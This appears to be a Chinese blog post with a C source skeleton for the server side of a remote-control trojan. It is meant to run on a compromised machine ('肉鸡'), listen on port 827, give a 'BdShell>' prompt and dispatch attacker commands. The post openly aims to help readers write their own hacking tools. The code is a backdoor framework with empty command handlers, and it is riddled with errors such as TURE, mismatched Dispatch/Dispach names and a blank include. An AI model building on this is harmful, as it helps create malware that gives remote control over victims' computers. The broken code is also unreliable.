通过简单的C语言编程实现一个简易…

    用很简单的C语言编程写的一个木马的服务端实现过程,作为一个C/S木马,只要将这个服务端exe配置好你的IP地址和端口信息让它在肉鸡上运行就是成了木马的服务端了。

    不过它实在太简单了,仅供大家了解一下木马的服务端形成的基本思路,然后大家可以仿写一个木马的客服端出来在自己的电脑上运行即可以实现以C语言编程的形式实现远程操控,希望对那些想自己写黑器的朋友有所帮助。

    这只是个实现思路,思路当然可以改的更完美,这个就要看你的水平,但木马服务端的基本形成过程,代码的框架如下,为了简单让更多人看懂都是用C写,且基本每行写了备注,未定义函数全是系统API,直接调用即可。


代码如下:
#include //网络套字库,但凡联网都要用这个库
#pragma comment (lib,"ws2_32")  //网络必须打开的ws2_32dll动态链接库
//定义木马可实现的功能表
#define HELPMSG " ... \r\n exit-退出"   //在这里添加木马的功能表,方便客服端读取
BOOL Dispatch(SOCKET sock,char *szCmd)     //定义分布命令函数
int main(int argc,char* argv[])     //这个不必说了吧
{
        WSADATA wsaData;     //定义WSADATA数据结构,用来接收windows Sockets得实现细节
        WSAStartup(MAKEWORD(2,2),&wsaData);    //初始化ws2_32.dll动态链接库,但凡联网都要初始化
         SOCKET s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);    //初始化网络套字
        sockaddr_in sockaddr;
        sockaddr.sin_family=PF_INET;    //使用PF_INET通信协议
        sockaddr.sin_addr.S_un.S_addr=inet_addr("    ");      //在这个地方括号里填写你的IP地址,是肉鸡连上你的主机,你的主机作为客服端;
        sockaddr.sin_port=htons(827);   //使用827端口,端口完全可以改;
        bind(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR));    //绑定IP地址和端口号
        listen(s,1);     //开始监听端口,等待客服端的连接;
        SOCKADDR clientADDR;
        int nSize=sizeof(SOCKADDR);
        SOCKET clientSock;
        clientSock=accept(s,(SOCKADDR*)&clientAddr,&nSize);    //接收客服端连接
        while(TURE)    //进入命令循环,接收客服端发来的命令,有些木马之所以功能强大,主要是这部分强大,可以自由修改Dispach函数里面部分。
        {
                send(clientSock,"BdShell>",strlen("BdShell>") sizeof(char),0);       //向客服端发送命令提示,并等待接收客服端命令
                char buff[MAXBYTE]={0};
                recv(clientSock,buff,MAXBYTE,0);      //接收客户端发来的命令
                if (!strcmp(buff,"exit"))       //接收到exit命令,则退出命令循环
                {
                        break;
                }
                BOOL bRet=Dispatch(clientSock,buff);    //分布命令,根据不同命令完成不同指令
                if(bRet==FALSE)     //如果没有此项功能,向客户端发送没有此功能
                {
                        send(clientSock,"没有此项功能",strlen("没有此项功能") sizeof(char),0);
                }

        }
              closesocket(clientSock);
              closeSocket(s);
              WASCleanup();    //清理工作
        return 0;
}
BOOL Dispach(SOCKET sock,char* szCmd)
{
        BOOL bRet =FALSE;
//根据不同命令,完成不同功能,至于怎么完成这些功能呢,这里只给框架,慢慢学吧,这得花些时间学,且这与怎么搭建个木马服务端无关,想要好的功能就得自己思考!!!
        if(!strcmp(szCmd,"help"))
        {
        }
        else if(!strcmp(szCmd,"open")
        {
        }
        ...
        else
        {
        }
        return bRet;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值